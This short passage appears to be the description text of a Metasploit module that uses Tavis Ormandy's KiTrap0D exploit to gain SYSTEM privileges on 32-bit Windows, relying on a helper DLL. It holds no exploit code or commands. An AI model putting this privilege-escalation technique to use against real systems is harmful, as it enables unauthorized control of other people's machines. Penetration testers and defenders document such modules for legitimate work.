          This module will create a new session with SYSTEM privileges via the
          KiTrap0D exploit by Tavis Ormandy. If the session in use is already
          elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,
          and is not supported on x64 editions of Windows.
